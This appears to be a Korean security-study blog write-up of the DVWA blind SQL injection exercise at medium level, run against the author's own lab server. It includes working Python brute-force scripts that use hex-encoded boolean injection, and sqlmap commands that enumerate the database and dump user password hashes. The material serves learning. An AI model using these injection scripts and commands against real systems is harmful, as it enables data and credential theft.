[WARGAME] DVWA write-up/ Blind SQL_Injection/ medium

jckim22·2022년 10월 28일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
38/114

/*

웹서버 환경: Window 10

공격 클라이언트 환경: Kali linux (VMware 구동)

*/

low풀이
https://velog.io/@jckim22/%EB%B9%A1%EA%B3%B5%ED%8C%9F-5%EC%A3%BC%EC%B0%A8-%EA%B3%BC%EC%A0%9C-8-DVWA-write-up-Blind-SQLInjection-row

Sql_Injection과 마찬가지로 select 폼을 제출하는 형식으로 데이터를 받고 있다.
그렇다면 아마 똑같이 쿼터(')는 존재하지 않을 것이라고 예상한다.

그리고 정상적인 요청을 해보았을 때 패킷을 잡아보았다.
status_code는 200으로 잘 온 것을 볼 수 있다.

그리고 아래와 같은 문구가 나온다.

이전에 low레벨에서는 존재하지 않은 user_id를 입력하게 되면 $result에 1이 담기지 않게 되면서 수동적으로 status_code를 404로 바꾸어주었다.

하지만 medium레벨에서 아래처럼 존재하지 않는 user_id를 보냈을 때, 200코드가 오는 것을 볼 수 있다.

그렇다면 이번 레벨에서는 404의 유무로 blind 브루트포스 공격을 할 수 없다.

하지만 sql쿼리가 참이 아닐시 아래 처럼 "User ID is MISSING from the database." 라는 다른 문구가 나오기 때문에 이것의 유무를 기준으로 blind_sql_injection을 실행하면 될 것 같다.

나의 mariadb 버전의 길이는 low레벨에서 알아냈지만 if문 조건이 달라지기에 공격자인 칼리 리눅스에서 다시 한번 찾아보자.

아래와 같이 길이를 알아내는 코드를 짜보았다.

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
from urllib import parse

url = "http://192.168.5.1/dvwa/vulnerabilities/sqli_blind/"

for i in range(1,50):
    data =  {
        'id':f"1 AND length(version()) = {i} -- ",
        'Submit':"Submit"
    }
    cookies = {
        'PHPSESSID': '8d3jt692uqhupell4d6rubi4j9',
        'security': 'medium'
    }

    res= requests.post(url, data=data, cookies=cookies)

    print(f"trying {i}....")

    if "User ID exists in the database." in res.text:
        print(f"version length is = {i}")
        break

코드를 간략히 설명하자면 대상 url,과 post요청이기 때문에 params가 아닌 data, 그리고 admin으로 로그인 되어 있고 security레벨을 맞춰야하기 때문에 cookies까지 설정해준 뒤 요청을 보낸다.
그 중 data에 id의 값을 sql문을 삽입하는데 AND연산자를 이용했기 때문에 후자의 내용이 참이 되지 않으면 서버 php코드의 $result값이 1이 되지 않을 것이다.
만약 후자의 내용이 참이라면 "User ID exists in the database."라는 문구가 응답 텍스트에 존재할 것이기 때문에 문자열의 유무로 길이를 찾아낸다.
length(version()) = {i} 라는 sql문이 참이된다면 version length를 출력하고 break한다.

아래는 성공적으로 길이를 찾아낸 실행 결과이다.

이제 version()의 문자열을 substr을 사용하여 알아내보자

아래처럼 자동화 스크립트를 작성해보았다.

#!/usr/bin/python3
import requests
import sys
from urllib.parse import urljoin
from urllib import parse

url = "http://192.168.5.1/dvwa/vulnerabilities/sqli_blind/"
ver = ""

for i in range(1,16):
    for j in range(0,128):
        data =  {
            'id':f"1 AND substr(version(),{i},1) = {hex(j)} -- ",
            'Submit':"Submit"
        }
        cookies = {
            'PHPSESSID': '8d3jt692uqhupell4d6rubi4j9',
            'security': 'medium'
        }

        res= requests.post(url, data=data, cookies=cookies)

        

        if "User ID exists in the database." in res.text:
            ver+=chr(j)
            print(f"trying {i} .... : {ver}")
            break

print(f"version is \"{ver}\"")

이번 medium에서는 쿼터가 존재하지 않기 때문에 이중 for문에서 아스키 코드를 이용해 문자열 비교연산을 할 때 쿼터를 사용할 수 없다.
그렇기에 sql에서는 예를들어 k라는 문자를 'k'가 아닌 k로 받게 되어서 제대로된 연산을 수행할 수 없게 된다.
하지만 쿼터가 없는 경우 string을 우회하는 방법은 있다.
sql에서 0x(16진수) 를 아스키 코드에 따라 문자열로 인식해준다는 것이다.
예시로 sql문에 31이아닌 0x31을 입력하게 되면 0x31은 아스키 코드에 의해 '1'이라는 문자로 인식 될 것이다.
그래서 코드에 아스키 코드 변수인 j에 hex(j)를 씌워서 10진수 -> 16진수 변환을 한 뒤 sql에서 문자열로 인식하게 하고 비교 연산을 실행한다.

그리고 가져온 10진수를 chr()함수로 문자로 변환하게 되면 아래와 같이 버전을 성공적으로 구해올 수 있다.

이러한 원리로 유저의 password도 쉽게 가져올 수 있다.
하지만 유저의 password는 해쉬로 처리 되어있기 때문에 긴 문자열로 되어있다.
그래서 더 긴 시간을 요구하게 된다.

그렇기 때문에 칼리 리눅스에 설치되어 있는 sqlmap이라는 툴로 블라인드 인젝션 공격을 수행해서 패스워드를 가져와보도록 하겠다.

sqlmap은 자동으로 인젝션 공격을 가능케해주는 툴이다.

아래 코드는 sqlmap의 쿠키와 url 그리고 post요청이기때문에 data를 보낸다.
그리고 -p id라는 명령어로 id를 이용해 sql injection을 수행할 것임을 알려준다.

sqlmap --cookie="PHPSESSID=8d3jt692uqhupell4d6rubi4j9; security=medium" -u "http://192.168.5.1/dvwa/vulnerabilities/sqli_blind/" --data "id=5&Submit=Submit" -p id


위에처럼 Blind_sql_injection이 가능하다는 것을 알았다.

그럼 이제 아래의 코드로 현재 윈도우 아파치 서버의 데이터베이스들을 파악해보자.

sqlmap --cookie="PHPSESSID=8d3jt692uqhupell4d6rubi4j9; security=medium" -u "http://192.168.5.1/dvwa/vulnerabilities/sqli_blind/" --data "id=5&Submit=Submit" -p id --dbs


위에 처럼 총 6개의 데이터베이스가 존재하는 것을 알았다.
dvwa외에도 게시판이나 sql공부를 할 때 만들어 놓은 database들도 보인다.

그럼 아래 명령어를 입력해서 dvwa의 테이블 정보를 알아보자.

sqlmap --cookie="PHPSESSID=8d3jt692uqhupell4d6rubi4j9; security=medium" -u "http://192.168.5.1/dvwa/vulnerabilities/sqli_blind/" --data "id=5&Submit=Submit" -p id -D dvwa --tables


dvwa의 테이블에는 guesrbook과 users가 있다.
내가 필요한 것은 users일 것이다.

이제 아래 코드로 users 테이블이 어떤 컬럼 구조로 되어있는지 확인을 해보자

sqlmap --cookie="PHPSESSID=8d3jt692uqhupell4d6rubi4j9; security=medium" -u "http://192.168.5.1/dvwa/vulnerabilities/sqli_blind/" --data "id=5&Submit=Submit" -p id -D dvwa -T users --columns

위에처럼 여러 컬럼으로 되어있고 우리는 password를 원하고 있다.
아마 인젝션으로 사용하는 $id변수는 user_id와 매칭될 것이다.

마지막으로 아래 코드로 password 테이블에 대한 정보들을 알아내보자.

sqlmap --cookie="PHPSESSID=8d3jt692uqhupell4d6rubi4j9; security=medium" -u "http://192.168.5.1/dvwa/vulnerabilities/sqli_blind/" --data "id=5&Submit=Submit" -p id -D dvwa -T users -C user,password 

위에처럼 users table의 password를 user에 매칭하여 볼 수 있게 되었다.
암호화된 해쉬마저 복호화해서 알려준다.

profile
개발/보안

0개의 댓글